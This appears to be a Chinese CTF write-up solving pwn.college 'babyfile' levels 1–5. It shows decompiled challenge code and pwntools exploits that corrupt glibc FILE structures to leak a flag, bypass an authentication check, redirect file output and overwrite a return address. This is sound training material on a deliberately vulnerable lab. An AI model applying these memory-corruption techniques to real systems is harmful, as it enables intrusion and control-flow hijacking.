0x00 事前准备

这部分可以参考Pwn College Format String Exploits Level 1.0 ~ Level 9.1攻略的事前准备部分。
依旧把payload用到的lambda函数放在这里

s       = lambda data               :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)

然后是dump附件需要用到的命令,记得在level后面的x填入对应的数字

scp -i ~/.ssh/key hacker@dojo.pwn.college:/challenge/babyfile_level{x} .

0x01 闯关

level 1

Harness the power of FILE structs to arbitrarily read data.

初见FILE Struct,大概看了一点教学视频,来看看第一关的程序需要我们做什么

int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // eax

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
puts(
"This challenge allows you to manipulate the memory of an _IO_FILE struct object. By doing this, you can arbitrarily read");
puts(
"or write to take control of the process. You may also take control of the virtual function table at the end of the FILE");
puts("struct. If you do this, then you can directly take control of the process and call some other function.\n");
printf("The flag has been read into memory and is located at %p\n", &secret);
v3 = open("/flag", 0);
read(v3, &secret, 0x64uLL);
challenge((unsigned int)argc, argv, envp);
puts("### Goodbye!");
return 0;
}

将flag中的内容读到secret里面了,并且给出了secret的地址。跟进一下challenge

size_t challenge()
{
create_tmp_file();
buf = malloc(0x100uLL);
puts("This exploit will involve performing an arbitrary read to leak some sensitive the flag.\n");
fp = fopen("/tmp/babyfile.txt", "w");
print_fp(fp);
puts("Now reading from stdin directly to the FILE struct.\n");
read(0, fp, 0x1E0uLL);
print_fp(fp);
return fwrite(buf, 1uLL, 0x100uLL, fp);
}

允许我们直接修改结构体,这题可以参考他的教学视频FILE结构体漏洞利用:0x02 任意读与任意写,这边找了个中文翻译的视频。也可以看他的课件,当中提到构造任意读的FILE struct你需要做这些事情:
alt text
alt text
如果你有看视频的话他会说只做到下面这样就行了
alt text

这里使用pwntools给我们集成的工具来生成需要的FILE Struct

from pwn import *
fp = FileStructure()

就像视频中演示的那样,废话不多说,直接放payload

ru('and is located at ')
addr = int(rl()[:-1],16)
leak('addr')

fp = FileStructure()
payload = fp.write(addr,0x120)

sla('Now reading from stdin directly to the FILE struct.\n\n',payload)

level 2

Harness the power of FILE structs to arbitrarily write data to bypass a security check.

先看看程序

int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
puts(
"This challenge allows you to manipulate the memory of an _IO_FILE struct object. By doing this, you can arbitrarily read");
puts(
"or write to take control of the process. You may also take control of the virtual function table at the end of the FILE");
puts("struct. If you do this, then you can directly take control of the process and call some other function.\n");
challenge((unsigned int)argc, argv, envp);
puts("### Goodbye!");
return 0;
}

实际上与前一关才差不多,继续跟进challenge

int challenge()
{
create_tmp_file();
authenticated = 0;
buf = malloc(0x100uLL);
puts(
"This exploit will involve performing an arbitrary write to execute a code segment which is otherwise unreachable.\n");
fp = fopen("/tmp/babyfile.txt", "r");
print_fp(fp);
puts("Now reading from stdin directly to the FILE struct.\n");
read(0, fp, 0x1E0uLL);
print_fp(fp);
fread(buf, 1uLL, 0x100uLL, fp);
if ( authenticated )
return win();
else
return puts("You are not 1337 enough.");
}

authenticated 默认为0,需要我们利用FILE Struct构造任意读。FILE结构体漏洞利用:0x02 任意读与任意写 视频的前半段就是在讲如何构造任意读的,照搬就行,authenticated的地址虽然没给出,但是我们可以通过ida找到这个地址

paylaod:

challeng_val = 0x0000000004041F8

fp = FileStructure()
payload = fp.read(challeng_val,20)

sa('Now reading from stdin directly to the FILE struct.\n\n',payload)

sla('{0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0}',b'1'*0x30)

sl(b'1'*0x30)
sl(b'1'*0x30)
sl(b'1'*0x30)
sl(b'1'*0x30)
sl(b'1'*0x30)

因为构造的是从标准输入读取数据,所以我们还需要额外自己发送。

level 3

Harness the power of FILE structs to redirect data output

程序dump下来后依旧看看challenge函数

size_t challenge()
{
FILE *v1; // [rsp+28h] [rbp-8h]

create_tmp_file();
buf = malloc(0x100uLL);
puts(
"This exploit will involve altering the flow of data by editing the _fileno attribute of a FILE structure so that private");
puts("data can be made publicly readable.\n");
fp = fopen("/tmp/babyflag.txt", "r+");
fread(buf, 1uLL, 0x100uLL, fp);
v1 = fopen("/tmp/babyfile.txt", "r+");
printf("fp2->_fileno = %d\n", (unsigned int)v1->_fileno);
print_fp(fp);
puts("Now reading from stdin directly to the FILE struct.\n");
read(0, &fp->_fileno, 0x170uLL);
print_fp(fp);
return fwrite(buf, 1uLL, 0x100uLL, fp);
}

可以看到我们允许直接编辑/tmp/babyfile.txt这个FILE Struct从_fileno开始的字段。在create_tmp_file函数中/flag的内容被写到了/tmp/babyflag.txt里面,同时我们没法直接从外部读,因为没有权限

ls -l /tmp/
total 20
-rw-rw-rw- 1 root hacker 256 Sep 18 04:11 babyfile.txt
-rw------- 1 root hacker 58 Sep 18 04:11 babyflag.txt

接着通过fread(buf, 1uLL, 0x100uLL, fp); 将内容读到buf上。然后我们可以通过修改/tmp/babyflag.txt_fileno以及其之后的字段,这就是为什么题目给出了/tmp/babyfile.txt_fileno,我们可以修改/tmp/babyflag.txt结构体的_fileno/tmp/babyfile.txt_fileno,这样最后的fwrite(buf, 1uLL, 0x100uLL, fp);就会将flag写到一个我们可读可写的文件里面。

payload :

payload = p64(4)
sa('Now reading from stdin directly to the FILE struct.\n\n',payload)

level 4

Harness the power of FILE structs to arbitrarily read/write data to hijack control flow.

先ida启动一下,依旧直奔challenge

size_t challenge()
{
void *retaddr; // [rsp+38h] [rbp+8h] BYREF

create_tmp_file();
printf("[LEAK] return address is stored at: 0x%llx\n", &retaddr);
buf = malloc(0x100uLL);
puts(
"This exploit will involve performing an arbitrary write to execute a code segment which is otherwise unreachable.\n");
fp = fopen("/tmp/babyfile.txt", "r");
print_fp(fp);
puts("Now reading from stdin directly to the FILE struct.\n");
read(0, fp, 0x1E0uLL);
print_fp(fp);
return fread(buf, 1uLL, 0x100uLL, fp);
}

这里首先是泄露出了 challenge 函数的返回地址所在的栈地址,然后依旧是level2的内容,同时程序中有 win 函数
alt text是一个读flag文件的函数,所以也就是level2同款解法

win = elf.sym['win']
ru('is stored at: ')
target_addr =int(r(14),16)
leak('target_addr')

fp = FileStructure()

payload = fp.read(target_addr,0x100)

# debug()
sa('Now reading from stdin directly to the FILE struct.\n\n',payload)

sla('{0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0}',b'\x00')
pause()
sl(b'\x00'*0x30)
sl(b'\x00'*0x30)
sl(b'\x00'*0x30)
sl(b'\x00'*0x30)
sl(b'\x00'*0x30)

sl(p64(win))

这里为了填满缓冲区,所以显得exp有点诡异。自己试试就大概知道填多少(

level 5

Abuse built-in FILE structs to leak sensitive information.

main函数中将flag读到secret里面

v3 = open("/flag", 0);
read(v3, &secret, 0x64uLL);

接着来看 challenge

__int64 challenge()
{
create_tmp_file();
buf = (__int64)malloc(0x100uLL);
puts(
"This FILE struct points to _IO_2_1_stdout_ (otherwise known as just stdout). The stdout FILE struct can be abused to");
puts("perform arbitrary read exploits. These exploits will be triggered by functions such as puts() or printf()\n");
fp = stdout;
print_fp(stdout);
puts("Now reading from stdin directly to the FILE struct.\n");
read(0, fp, 0x1E0uLL);
return print_fp(fp);
}

直接允许修改 stdout, 实际上 stdout需要用来泄露任意地址的话还是比较简单的, 参考 利用 IO_2_1_stdout 泄露信息 我们这里对应的情况是stdout已经输出过,所以_IO_CURRENTLY_PUTTING标志位就是1,我们只要修改stdout->_IO_write_base和stdout->_IO_read_end指针就好,实际上level 1 在做的就是这个事情,简单写下exp

ru(' memory and is located at ')
leak_addr = int(r(8),16)

fp = FileStructure()
payload = fp.write(leak_addr,0x50)
print(fp)
sa('Now reading from stdin directly to the FILE struct.\n\n',payload)

把构造好的结构体打印出来看一下,的确是如文章中以及level 1中那样,动了 _IO_write_base, _IO_read_end 和必要的 _IO_write_ptr

{ flags: 0x800
_IO_read_ptr: 0x0
_IO_read_end: 0x4040c0
_IO_read_base: 0x0
_IO_write_base: 0x4040c0
_IO_write_ptr: 0x404110
_IO_write_end: 0x0
_IO_buf_base: 0x0
_IO_buf_end: 0x0
_IO_save_base: 0x0
_IO_backup_base: 0x0
_IO_save_end: 0x0
markers: 0x0
chain: 0x0
fileno: 0x1
_flags2: 0x0
_old_offset: 0xffffffffffffffff
_cur_column: 0x0
_vtable_offset: 0x0
_shortbuf: 0x0
unknown1: 0x0
_lock: 0x0
_offset: 0xffffffffffffffff
_codecvt: 0x0
_wide_data: 0x0
unknown2: 0x0
vtable: 0x0}

level 6

Abuse built-in FILE structs to bypass a security check.